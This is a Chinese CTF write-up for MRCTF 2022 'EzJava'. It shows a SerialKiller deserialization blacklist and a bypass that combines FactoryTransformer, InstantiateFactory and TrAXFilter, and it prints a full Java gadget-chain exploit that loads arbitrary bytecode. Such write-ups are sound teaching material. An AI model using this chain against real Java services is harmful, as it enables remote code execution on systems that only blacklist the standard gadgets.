MRCTF 2022 EzJava
题目分析
下载附件得到一个 jar 包和一个 waf 配置文件。如果只是为了本地搭建环境,直接启动 jar 包就行了,但是如果需要进行远程调试就需要进行一些配置(这个网上教程很多),这个调试也要看具体需求,能直接打通的话就不需要调试。
但是不管怎么说,第一步肯定都是先解压 jar 包好进行代码审计。
先看依赖:
依赖挺多,不过对于我这个 java 新手不认识几个,但是发现了熟悉的 cc 链依赖。
然后找反序列化的入口 readObject
函数
这里就是获得 body 中的数据进行 base64 解码然后进行反序列化,不过注意到还有个 serialkiller.xml
文件,这是 SerialKiller
依赖的配置文件,也就是刚刚附件中的另一个文件,将其复制进项目的 resource 后进行分析
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config><refresh>6000</refresh><mode><!-- set to 'false' for blocking mode --><profiling>false</profiling></mode><logging><enabled>false</enabled></logging><blacklist><!-- ysoserial's CommonsCollections1,3,5,6 payload --><regexp>org\.apache\.commons\.collections\.Transformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp><regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp><!-- ysoserial's CommonsCollections2,4 payload --><regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp><regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp></blacklist><whitelist><regexp>.*</regexp></whitelist>
</config>
过滤掉了之前学习 cc 链最后要用的所有 transform
方法的类。所以这道题题其实考察的就是最后执行命令部分。
现在需要找的就是有没有其他类的 transform
方法可以利用,来到 transform
接口开始一个一个寻找:
最后找到了 FactoryTransformer
的 transform
方法,后面类的 transform
我也只是粗略的看过,有可能也有利用的地方。
继续看 create
方法,看看哪些可以构成危险。这个 create
方法其实有点太多了,参考文章,最后在 cc 依赖目录下进行寻找就行了
这里非常可疑,看到可以达到实列化的目的,和 cc3 最后十分相像,cc3 最后是调用的 TrAXFilter
的构造函数从而调用到 newTransformer()
进行字节码加载。所以这里的可以利用这个 create
方法调用 TrAXFilter
的构造函数然后进行字节码加载。
exp 构造
先编写出最后执行的 transform 方法
InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});
FactoryTransformer fa = new FactoryTransformer(ins);
剩下的照搬 cc3 就行了
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier; public class Main { public static void main(String[] args)throws Exception { TemplatesImpl tem = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class")); setValue(tem, "_bytecodes", new byte[][]{code}); setValue(tem, "_tfactory", new TransformerFactoryImpl()); setValue(tem, "_name", "gaoren"); setValue(tem, "_class", null); InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem}); FactoryTransformer fa = new FactoryTransformer(ins); HashMap map2 = new HashMap(); Map<Object, Object> Lazy = LazyMap.decorate(map2, new ConstantTransformer(1)); Lazy.put("zZ", 1); TiedMapEntry tie = new TiedMapEntry(Lazy, "aaa"); Hashtable hashtable = new Hashtable(); hashtable.put(tie, 1); Lazy.remove("aaa"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(Lazy, fa); try { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objout = new ObjectOutputStream(out); objout.writeObject(hashtable); objout.close(); out.close(); byte[] ObjectBytes = out.toByteArray(); ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes); ObjectInputStream objin=new ObjectInputStream(in); objin.readObject(); objin.close(); in.close(); } catch (Exception e) { e.printStackTrace(); } } public static void setValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }
}
执行测试
测试成功后将其序列化结果进行 base64 编码,
String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);